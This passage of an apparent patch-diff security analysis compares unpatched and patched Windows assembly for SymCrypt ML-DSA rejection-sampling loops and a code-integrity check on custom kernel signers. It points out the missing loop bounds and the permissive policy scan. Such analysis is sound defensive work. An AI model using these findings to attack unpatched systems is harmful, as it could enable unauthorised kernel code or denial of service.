&lt;span class="err"&gt;00000001800274&lt;/span&gt;&lt;span class="nf"&gt;BE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;inc&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;; FIX: advance counter&lt;/span&gt;
&lt;span class="err"&gt;00000001800274&lt;/span&gt;&lt;span class="nf"&gt;C0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;
&lt;span class="err"&gt;00000001800274&lt;/span&gt;&lt;span class="nf"&gt;C2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;ja&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_18002749E&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; resample (bounded by 0x79)&lt;/span&gt;
&lt;span class="c1"&gt;; ... error path:&lt;/span&gt;
&lt;span class="err"&gt;0000000180027502&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r14d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8008&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; FIX: SYMCRYPT_EXTERNAL_FAILURE&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Key change:&lt;/strong&gt; The patched version uses &lt;code&gt;edi&lt;/code&gt; as an iteration counter (initialised to 0), checks &lt;code&gt;cmp edi, 79h&lt;/code&gt; at the loop head before each squeeze, and on overflow jumps to &lt;code&gt;loc_180027502&lt;/code&gt;, which sets the return register to &lt;code&gt;0x8008&lt;/code&gt; (SYMCRYPT_EXTERNAL_FAILURE).&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;Finding 4: &lt;code&gt;SymCryptMlDsaRejBoundedPoly (sub_18002A06C)&lt;/code&gt; — Unbounded Rejection Loop&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Unpatched assembly (vulnerable — showing the critical loop structure):&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; UNPATCHED SymCryptMlDsaRejBoundedPoly @ 0x18002A06C&lt;/span&gt;
&lt;span class="err"&gt;000000018002&lt;/span&gt;&lt;span class="nf"&gt;A0EB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;loc_18002A0EB&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;; main loop head&lt;/span&gt;
&lt;span class="err"&gt;000000018002&lt;/span&gt;&lt;span class="nf"&gt;A0EB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r9d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r9d&lt;/span&gt;
&lt;span class="err"&gt;000000018002&lt;/span&gt;&lt;span class="nf"&gt;A0FC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;SymCryptKeccakExtract&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;; squeeze 1 byte&lt;/span&gt;
&lt;span class="err"&gt;000000018002&lt;/span&gt;&lt;span class="nf"&gt;A101&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;cl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;140&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_11F&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; load squeezed byte&lt;/span&gt;
&lt;span class="err"&gt;000000018002&lt;/span&gt;&lt;span class="nf"&gt;A105&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;; eta selector (2 or 4)&lt;/span&gt;
&lt;span class="c1"&gt;; ... nibble decoding; out-of-range nibbles set the 0x80 skip marker ...&lt;/span&gt;
&lt;span class="err"&gt;000000018002&lt;/span&gt;&lt;span class="nf"&gt;A1A1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;
&lt;span class="err"&gt;000000018002&lt;/span&gt;&lt;span class="nf"&gt;A1A4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_18002A1C6&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; skip marker — does NOT advance output&lt;/span&gt;
&lt;span class="err"&gt;000000018002&lt;/span&gt;&lt;span class="nf"&gt;A1CC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jb&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;loc_18002A0EB&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;; cmp edi,100h/jb — only output count bounded&lt;/span&gt;
&lt;span class="c1"&gt;; --- no counter on bytes squeezed from the sponge ---&lt;/span&gt;
&lt;span class="err"&gt;000000018002&lt;/span&gt;&lt;span class="nf"&gt;A1D2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;loc_18002A1D2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;; exit when output full (edi &amp;gt;= 0x100)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Patched assembly (fixed):&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; PATCHED SymCryptMlDsaRejBoundedPoly @ 0x180027128&lt;/span&gt;
&lt;span class="err"&gt;00000001800271&lt;/span&gt;&lt;span class="nf"&gt;A6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;loc_1800271A6&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;; main loop head&lt;/span&gt;
&lt;span class="err"&gt;00000001800271&lt;/span&gt;&lt;span class="nf"&gt;A6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;esi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="no"&gt;E1h&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; FIX: sponge-byte limit (481), checked before squeeze&lt;/span&gt;
&lt;span class="err"&gt;00000001800271&lt;/span&gt;&lt;span class="nf"&gt;AC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnb&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;loc_1800272A9&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;; FIX: overflow -&amp;gt; error path&lt;/span&gt;
&lt;span class="err"&gt;00000001800271&lt;/span&gt;&lt;span class="nf"&gt;C3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;SymCryptKeccakExtract&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;; squeeze 1 byte&lt;/span&gt;
&lt;span class="c1"&gt;; ... nibble decoding ...&lt;/span&gt;
&lt;span class="err"&gt;000000018002724&lt;/span&gt;&lt;span class="nf"&gt;F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;inc&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;esi&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;; FIX: advance sponge-byte counter&lt;/span&gt;
&lt;span class="err"&gt;000000018002729&lt;/span&gt;&lt;span class="nf"&gt;B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;
&lt;span class="err"&gt;00000001800272&lt;/span&gt;&lt;span class="nf"&gt;A1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jb&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;loc_1800271A6&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;; loop back; re-checks the esi limit at the head&lt;/span&gt;
&lt;span class="err"&gt;00000001800272&lt;/span&gt;&lt;span class="nf"&gt;A9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8008&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;; FIX: SYMCRYPT_EXTERNAL_FAILURE&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Key change:&lt;/strong&gt; The patched version introduces &lt;code&gt;esi&lt;/code&gt; as a sponge-byte counter, checked with &lt;code&gt;cmp esi, 1E1h&lt;/code&gt; at the loop head (before each squeeze) with a limit of &lt;code&gt;0x1E1&lt;/code&gt; (481). If the byte count reaches this limit before the output polynomial is full, control falls to &lt;code&gt;loc_1800272A9&lt;/code&gt;, which returns error code &lt;code&gt;0x8008&lt;/code&gt; (SYMCRYPT_EXTERNAL_FAILURE).&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;Finding 5: &lt;code&gt;SIPolicyAreCustomKernelSignersAllowed&lt;/code&gt; — Custom Kernel Signers Gate&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Unpatched assembly (permissive — scans every SI policy, no lock, no base-policy check):&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; UNPATCHED SIPolicyAreCustomKernelSignersAllowed @ 0x1800706C4&lt;/span&gt;
&lt;span class="err"&gt;00000001800706&lt;/span&gt;&lt;span class="nf"&gt;C4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;; result = 0&lt;/span&gt;
&lt;span class="err"&gt;00000001800706&lt;/span&gt;&lt;span class="nf"&gt;C7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r9d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;; i = 0&lt;/span&gt;
&lt;span class="err"&gt;00000001800706&lt;/span&gt;&lt;span class="nf"&gt;CA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r9d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;g_NumberOfSiPolicies&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; loop over ALL policies&lt;/span&gt;
&lt;span class="err"&gt;00000001800706&lt;/span&gt;&lt;span class="nf"&gt;D1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnb&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1800706FB&lt;/span&gt;
&lt;span class="err"&gt;00000001800706&lt;/span&gt;&lt;span class="nf"&gt;D3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;g_SiPolicyHandles&lt;/span&gt;
&lt;span class="err"&gt;00000001800706&lt;/span&gt;&lt;span class="nf"&gt;DA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r9d&lt;/span&gt;
&lt;span class="err"&gt;00000001800706&lt;/span&gt;&lt;span class="nf"&gt;DD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;; handle = handles[i]&lt;/span&gt;
&lt;span class="err"&gt;00000001800706&lt;/span&gt;&lt;span class="nf"&gt;E1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;708&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; enable flags at +0x708&lt;/span&gt;
&lt;span class="err"&gt;00000001800706&lt;/span&gt;&lt;span class="nf"&gt;E7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cl&lt;/span&gt;
&lt;span class="err"&gt;00000001800706&lt;/span&gt;&lt;span class="nf"&gt;E9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1800706EF&lt;/span&gt;
&lt;span class="err"&gt;00000001800706&lt;/span&gt;&lt;span class="nf"&gt;EB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="c1"&gt;; no base-policy filter, no lock check&lt;/span&gt;
&lt;span class="err"&gt;00000001800706&lt;/span&gt;&lt;span class="nf"&gt;ED&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1800706F1&lt;/span&gt;
&lt;span class="err"&gt;00000001800706&lt;/span&gt;&lt;span class="nf"&gt;EF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;
&lt;span class="err"&gt;00000001800706&lt;/span&gt;&lt;span class="nf"&gt;F1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1800706F8&lt;/span&gt;
&lt;span class="err"&gt;00000001800706&lt;/span&gt;&lt;span class="nf"&gt;F3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;inc&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r9d&lt;/span&gt;&lt;span class="w"&gt;                             &lt;/span&gt;&lt;span class="c1"&gt;; next policy (incl. supplemental)&lt;/span&gt;
&lt;span class="err"&gt;00000001800706&lt;/span&gt;&lt;span class="nf"&gt;F6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1800706CA&lt;/span&gt;
&lt;span class="err"&gt;00000001800706&lt;/span&gt;&lt;span class="nf"&gt;F8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="c1"&gt;; ANY policy with bit set -&amp;gt; allowed&lt;/span&gt;
&lt;span class="err"&gt;00000001800706&lt;/span&gt;&lt;span class="nf"&gt;FB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r8b&lt;/span&gt;
&lt;span class="err"&gt;00000001800706&lt;/span&gt;&lt;span class="nf"&gt;FE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;retn&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Patched assembly (hardened — lock gate + base-policy restriction + delegated flag test):&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; PATCHED SIPolicyAreCustomKernelSignersAllowed @ 0x1800764A8&lt;/span&gt;
&lt;span class="err"&gt;00000001800764&lt;/span&gt;&lt;span class="nf"&gt;B7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r9d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r9d&lt;/span&gt;
&lt;span class="err"&gt;00000001800764&lt;/span&gt;&lt;span class="nf"&gt;BA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;sil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cl&lt;/span&gt;
&lt;span class="err"&gt;00000001800764&lt;/span&gt;&lt;span class="nf"&gt;BD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;byte_180048F08&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r9b&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; FIX: lock/enable gate&lt;/span&gt;
&lt;span class="err"&gt;00000001800764&lt;/span&gt;&lt;span class="nf"&gt;C4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1800764CA&lt;/span&gt;
&lt;span class="err"&gt;00000001800764&lt;/span&gt;&lt;span class="nf"&gt;C6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="c1"&gt;; FIX: lock unset -&amp;gt; return false&lt;/span&gt;
&lt;span class="err"&gt;00000001800764&lt;/span&gt;&lt;span class="nf"&gt;C8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_180076513&lt;/span&gt;
&lt;span class="err"&gt;00000001800764&lt;/span&gt;&lt;span class="nf"&gt;CA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;g_NumberOfSiPolicies&lt;/span&gt;
&lt;span class="err"&gt;00000001800764&lt;/span&gt;&lt;span class="nf"&gt;D0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r10d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r9d&lt;/span&gt;
&lt;span class="err"&gt;00000001800764&lt;/span&gt;&lt;span class="nf"&gt;D3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;
&lt;span class="err"&gt;00000001800764&lt;/span&gt;&lt;span class="nf"&gt;D5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_180076510&lt;/span&gt;
&lt;span class="err"&gt;00000001800764&lt;/span&gt;&lt;span class="nf"&gt;D7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r11&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;g_SiPolicyHandles&lt;/span&gt;
